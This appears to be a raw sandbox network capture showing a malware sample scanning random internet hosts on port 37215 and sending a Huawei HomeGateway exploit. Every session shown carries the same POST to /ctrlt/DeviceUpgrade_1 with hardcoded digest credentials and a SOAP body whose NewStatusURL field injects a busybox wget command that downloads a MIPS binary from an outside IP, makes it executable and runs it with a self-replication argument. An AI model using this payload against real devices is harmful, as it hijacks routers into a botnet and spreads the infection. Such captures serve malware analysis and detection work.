24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	48734	41.174.115.244	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220899105 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	54222	37.80.86.165	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220937014 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	42510	173.155.49.17	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220937014 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	53130	157.110.226.143	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220948935 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	34064	221.200.167.164	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220953941 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	55530	157.37.107.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220983028 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	41094	157.66.238.102	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.220999002 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	59050	203.201.15.112	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221016884 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	46136	197.12.204.52	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221025944 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	34536	197.76.203.13	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221016884 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	36278	157.203.14.217	37215

Timestamp	Bytes transferred	Direction	Data
